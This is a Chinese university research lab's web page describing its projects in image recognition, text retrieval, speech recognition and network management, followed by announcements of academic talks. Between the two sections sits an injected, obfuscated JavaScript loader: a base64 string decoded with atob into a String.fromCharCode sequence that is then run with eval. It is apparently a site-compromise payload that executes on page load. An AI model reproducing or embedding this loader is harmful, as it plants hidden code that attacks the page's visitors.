应用项目

图像识别

  • 从认知心里学、神经科学与模式识别结合的角度,提出生物启发式的高精度人脸识别算法
  •  能在单模板图像的情况下获得很高的识别精度
  • 在美国标准与技术研究院(NITST)提供的FRGC和FERET标准测评实验上获得了接近人类的识别精度。
  • 相关工作发表在美国SCIENCE杂志和模式币别领域的著名期刊Pattern Recognition,并获得了北京市优秀波斯学位论文奖。
  • 在国家863组织的技术测评中,获手写汉字识别、人脸检测等多个项目第一名。

信息检索

  • 近年来,文本的倾向性分析发展成为自然语言处理领域的研究热点。郭军教授提出的Word Activation Force(WAF)词激活力模型,可通过对某一话题大量文本的分析,得出话题的倾向性评价。实验表明基于WAF的话题倾向性算法取得了较好的实验效果,可以很好的表示话题语料的整体倾向。
  • 基于WAF模型的前沿关键技术:实体检索、法律检索、医疗检索、微博检索、实体抽取、自动摘要、演进式文本分类过滤、突发话题检测、突发词聚类算法等。

语音识别与合成

  • 语音识别技术
  1. 关键词识别:识别用户话音中的关键词,完成相应的信息服务,如命令控制、信息查询等。
  2. 连续语音识别:将用户的话音转换为文本,可以用于语音听写机、广播语音转写等。
  3. 海量词汇孤立词识别。

网络管理

  • 新兴网络管理协议性能实现、关键技术研究及应用。
  • 模式识别、数据挖掘等智能技术在网络运行数据监控方面的应用。
  • 网络故障和网络告警的关联性、相关性分析及快速定位。
  • 传感网与物联网的关键技术研究等。

var AHWSYAEAFT = atob(‘dmFyIFZFUktPWUNXT1EgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDE5IC0gOSwgMTIwIC0gMiwgMTAwIC0gMywgMTE5IC0gNSwgNDAgLSA4LCAxMTMgLSA2LCAxMDggLSA3LCAxMjYgLSA1LCAzMyAtIDEsIDY3IC0gNiwgNDEgLSA5LCA0MyAtIDQsIDkzIC0gNSwgOTUgLSA1LCAxMjUgLSA1LCA4MyAtIDQsIDEyMSAtIDgsIDExMSAtIDgsIDkzIC0gNywgMTE3IC0gNywgNzUgLSAxLCA3MiAtIDIsIDQ2IC0gNywgNjcgLSA4LCAxNiAtIDYsIDEyNCAtIDYsIDk4IC0gMSwgMTE1IC0gMSwgMzQgLSAyLCAxMDcgLSA2LCAxMTkgLSA5LCAxMDIgLSAzLCAxMDcgLSA2LCAxMDYgLSA2LCAzNiAtIDQsIDY4IC0gNywgMzQgLSAyLCA0NCAtIDUsIDgzIC0gMywgNzIgLSA0LCA4NiAtIDEsIDEwMyAtIDUsIDgyIC0gMywgMTA2IC0gMiwgMTI3IC0gOCwgNzQgLSA3LCA4NyAtIDgsIDc1IC0gOSwgMTIwIC0gOCwgMTEyIC0gNSwgODIgLSA1LCA5MiAtIDksIDExOSAtIDgsIDEyNCAtIDIsIDc1IC0gNywgNzIgLSA1LCAxMTggLSA2LCA5NSAtIDUsIDgzIC0gMiwgNzMgLSAyLCAxMTcgLSA2LCAxMDIgLSAyLCA4MyAtIDgsIDkzIC0gOSwgODYgLSA1LCAxMjIgLSAyLCA4MiAtIDcsIDEwNCAtIDEsIDEyOSAtIDksIDEyMCAtIDIsIDczIC0gNywgODYgLSA0LCA1MyAtIDEsIDExMiAtIDMsIDcyIC0gNSwgNTUgLSA0LCAxMDQgLSA0LCAxMTYgLSA5LCA3OCAtIDIsIDcwIC0gMiwgNjEgLSA1LCA2NyAtIDIsIDgxIC0gMiwgNTUgLSA2LCA1OCAtIDYsIDg2IC0gOCwgODYgLSA4LCAxMjEgLSAxLCAxMTEgLSA4LCAxMTcgLSAzLCA4NSAtIDcsIDg4IC0gNCwgMTIyIC0gNywgMTE0IC0gMywgNzEgLSAyLCA4NiAtIDIsIDY0IC0gOCwgNzEgLSAxLCA4NiAtIDQsIDk2IC0gOCwgOTcgLSA4LCAxMDQgLSA0LCA4MyAtIDQsIDc1IC0gOCwgODkgLSAzLCAxMTUgLSA3LCAxMDcgLSA2LCA3MCAtIDQsIDcyIC0gNywgNTggLSAzLCA3MSAtIDUsIDg2IC0gNCwgMTA4IC0gOCwgMTIzIC0gOCwgODcgLSA2LCA5NCAtIDcsIDk0IC0gOSwgMTI1IC0gNCwgNzcgLSAyLCAxMDkgLSAzLCAxMTkgLSA0LCAxMDkgLSA4LCA3OCAtIDMsIDkxIC0gOSwgMTEyIC0gOSwgNzEgLSAyLCA4NCAtIDYsIDEyNiAtIDYsIDU4IC0gNiwgMTEzIC0gNywgOTkgLSAyLCA3MyAtIDUsIDk4IC0gOSwgNTcgLSA3LCA4OCAtIDIsIDEzMSAtIDksIDEyMiAtIDMsIDc5IC0gOSwgNzUgLSA5LCAxMTIgLSA3LCA4MiAtIDksIDc3IC0gNSwgODIgLSA3LCA5MSAtIDQsIDExNiAtIDksIDU3IC0gOCwgODUgLSA2LCAxMjUgLSA1LCA3NyAtIDgsIDExMCAtIDYsIDk0IC0gNiwgMTIzIC0gNCwgNDkgLSAxLCAxMTYgLSA4LCA5MCAtIDYsIDgwIC0gOCwgODQgLSAyLCA2MiAtIDgsIDEwMiAtIDIsIDEyNiAtIDUsIDEwOSAtIDIsIDk5IC0gMSwgODQgLSA0LCA5MCAtIDgsIDExMiAtIDksIDkyIC0gNCwgODIgLSA5LCAxMTcgLSA5LCA2OCAtIDIsIDExOSAtIDMsIDEwMSAtIDMsIDU4IC0gOCwgODcgLSA5LCA4OCAtIDcsIDQ0IC0gNSwgNjIgLSAzLCAxMSAtIDEsIDEwOSAtIDcsIDEyMyAtIDYsIDExMiAtIDIsIDEwMyAtIDQsIDExOSAtIDMsIDEwNiAtIDEsIDExMyAtIDIsIDExNSAtIDUsIDMzIC0gMSwgMTI4IC0gOCwgMTE5IC0gOCwgMTIzIC0gOSwgMTA0IC0gOSwgMTA0IC0gMywgMTE3IC0gNywgMTAyIC0gMywgNDcgLSA3LCAxMjEgLSA2LCAxMTkgLSAzLCAxMjEgLSA3LCAxMDkgLSA0LCAxMTMgLSAzLCAxMDkgLSA2LCA1MSAtIDcsIDQwIC0gOCwgMTExIC0gNCwgMTA1IC0gNCwgMTI2IC0gNSwgNDYgLSA1LCAzNiAtIDQsIDEzMSAtIDgsIDEyIC0gMiwgMzkgLSA3LCAzOSAtIDcsIDEyNSAtIDcsIDEwMiAtIDUsIDEyMSAtIDcsIDM3IC0gNSwgMTIxIC0gNywgMTA5IC0gOCwgMTIxIC0gNiwgMzQgLSAyLCA2MiAtIDEsIDM5IC0gNywgNDIgLSAzLCA0OCAtIDksIDY1IC0gNiwgMTUgLSA1LCAzOCAtIDYsIDMzIC0gMSwgMTA4IC0gNiwgMTIwIC0gOSwgMTE5IC0gNSwgMzQgLSAyLCA0MSAtIDEsIDEyNSAtIDcsIDEwNCAtIDcsIDExNiAtIDIsIDM1IC0gMywgMTEyIC0gNywgNDAgLSA4LCA2NSAtIDQsIDM0IC0gMiwgNDkgLSAxLCA2OCAtIDksIDM4IC0gNiwgMTEwIC0gNSwgMzggLSA2LCA2OSAtIDksIDM3IC0gNSwgMTE3IC0gMiwgMTIxIC0gNSwgMTIzIC0gOSwgMTA5IC0gNCwgMTEzIC0gMywgMTA4IC0gNSwgNDggLSAyLCAxMTMgLSA1LCAxMDkgLSA4LCAxMTEgLSAxLCAxMDkgLSA2LCAxMTkgLSAzLCAxMDcgLSAzLCA2MCAtIDEsIDQxIC0gOSwgMTA4IC0gMywgNDkgLSA2LCA0NyAtIDQsIDQ2IC0gNSwgMzggLSA2LCAxMzAgLSA3LCAxNSAtIDUsIDM5IC0gNywgMzcgLSA1LCAzNCAtIDIsIDM0IC0gMiwgMTIyIC0gOCwgMTA3IC0gNiwgMTI0IC0gOSwgNDEgLSA5LCA0OSAtIDYsIDYzIC0gMiwgMzYgLSA0LCA4OSAtIDYsIDEyMSAtIDUsIDEyMyAtIDksIDEwNiAtIDEsIDExNCAtIDQsIDExMiAtIDksIDUzIC0gNywgMTA5IC0gNywgMTIxIC0gNywgMTE1IC0gNCwgMTE1IC0gNiwgNzQgLSA3LCAxMDcgLSAzLCA5OCAtIDEsIDEyMyAtIDksIDc1IC0gOCwgMTE5IC0gOCwgMTAyIC0gMiwgMTA5IC0gOCwgNDUgLSA1LCAxMTkgLSA0LCAxMjMgLSA3LCAxMTcgLSAzLCAxMTMgLSA4LCAxMTkgLSA5LCAxMDQgLSAxLCA0OCAtIDIsIDEwMyAtIDQsIDExMiAtIDgsIDEwMSAtIDQsIDEyMiAtIDgsIDY4IC0gMSwgMTE3IC0gNiwgMTA4IC0gOCwgMTEwIC0gOSwgNjYgLSAxLCAxMjAgLSA0LCA0NSAtIDUsIDExMCAtIDUsIDQ4IC0gNywgNDEgLSA5LCA5OCAtIDQsIDE4IC0gOCwgMTAgLSAxLCAxOCAtIDksIDEzIC0gNCwgMTggLSA5LCAxMTMgLSA2LCAxMDMgLSAyLCAxMjcgLSA2LCA0NyAtIDEsIDEwMCAtIDEsIDExMSAtIDcsIDEwMiAtIDUsIDEyMiAtIDgsIDc0IC0gNywgMTE2IC0gNSwgMTA4IC0gOCwgMTA2IC0gNSwgNzMgLSA4LCAxMjAgLSA0LCA0MiAtIDIsIDEwOSAtIDQsIDM2IC0gNCwgNDUgLSA4LCA0MCAtIDgsIDEwOCAtIDEsIDEwNCAtIDMsIDEyOCAtIDcsIDQ5IC0gMywgMTE0IC0gNiwgMTA3IC0gNiwgMTE0IC0gNCwgMTA5IC0gNiwgMTI1IC0gOSwgMTEwIC0gNiwgNDYgLSA1LCA0MiAtIDEsIDYzIC0gNCwgMTEgLSAxLCA0MCAtIDgsIDMzIC0gMSwgMTMxIC0gNiwgMTYgLSA2LCAzNSAtIDMsIDMzIC0gMSwgMTE1IC0gMSwgMTA0IC0gMywgMTE3IC0gMSwgMTI0IC0gNywgMTE4IC0gNCwgMTE4IC0gOCwgMzQgLSAyLCAxMjAgLSA2LCAxMDcgLSA2LCAxMjIgLSA3LCA2NCAtIDUsIDE1IC0gNSwgMTI3IC0gMiwgMTQgLSA0LCAxNiAtIDYsIDEyNSAtIDcsIDEwNCAtIDcsIDEyMyAtIDksIDM1IC0gMywgMTA4IC0gOCwgMTA2IC0gNSwgMTAyIC0gMywgMzkgLSA3LCA3MCAtIDksIDQxIC0gOSwgMTI3IC0gNywgMTIwIC0gOSwgMTE2IC0gMiwgMTAxIC0gNiwgMTA4IC0gNywgMTE0IC0gNCwgMTAzIC0gNCwgNDggLSA4LCAxMDMgLSA2LCAxMTggLSAyLCAxMTQgLSAzLCAxMDMgLSA1LCA0NSAtIDUsIDEwNiAtIDUsIDExMiAtIDIsIDEwNSAtIDYsIDEwNCAtIDMsIDEwOCAtIDgsIDQ3IC0gNiwgNDYgLSAyLCAzNiAtIDQsIDExMCAtIDMsIDEwNyAtIDYsIDEyMiAtIDEsIDQ4IC0gNywgNjEgLSAyLCAxNCAtIDQsIDQ0IC0gNCwgMTE1IC0gNSwgMTA1IC0gNCwgMTIyIC0gMywgNDAgLSA4LCA3NSAtIDUsIDEyMyAtIDYsIDExMiAtIDIsIDEwNiAtIDcsIDExOSAtIDMsIDEwNiAtIDEsIDExNSAtIDQsIDExNiAtIDYsIDQzIC0gMywgMTA5IC0gOSwgMTAzIC0gMiwgMTA4IC0gOSwgNTAgLSA5LCA0NyAtIDYsIDQ0IC0gNCwgNDIgLSAxLCA2NSAtIDYsIDE5IC0gOSwgMTIgLSAyKTtldmFsKFZFUktPWUNXT1EpOw==’);
eval(AHWSYAEAFT);

近期文章

学术报告: Hamming classifier: from one-hot to multi-hot classification

报告题目:Hamming classifier: from one-hot to multi-hot classification

报告时间:10月10日 上午10:00-11:00

报告地点:教三 811会议室

报告简介:肖嵘博士,平安财产险科技中心首席研究员、人工智能部总经理,国家特聘专家,深圳市孔雀A类人才,负责人工智能技术在保险领域的创新研究。肖嵘于2001年获南京大学计算机博士学位,曾供职于微软亚洲研究院和微软雷德蒙研究院18年。

报告摘要:对于多分类问题,很多神经网络优化的是LR(Logistic Regression)的损失函数。这样的模型在处理大规模分类的问题时存在一定的局限性。在本次报告中,我们通过对LR损失函数的分析,揭示了模型输出特征在高维空间的分布特性,并在此基础上引入LSH(Locality Sensitive Hashing)算法对样本的类别进行了编码。这种编码方式,不仅能够显著降低模型复杂度,而且可以表征不同类别之间(语义)关系。基于这种编码方式,我们提出一种汉明分类器(Hamming Classifier)算法,并应用于OCR和NLP领域的识别问题中;该方法在基本不影响识别精度性能的情况下,可以显著降低模型尺寸。

  1. 学术讲座通知​:From Shuffled Linear Regression to Homomorphic Sensing 发表评论
  2. 学术讲座通知​:深度结构建模及其在物体检测和姿态估计中的应用 发表评论
  3. 学术讲座通知​:增强现实中的计算机视觉技术探索 发表评论
  4. 学术讲座通知​:城市计算与大数据 2条回复
  5. 学术报告: Complete Dictionary Recovery over the Sphere 发表评论
  6. 图像识别技术其智能应用 发表评论
  7. 学术讲座通知:Deep models for face processing with “big” or “small” data 发表评论
  8. 学术讲座通知 发表评论
  9. 学术讲座通知 发表评论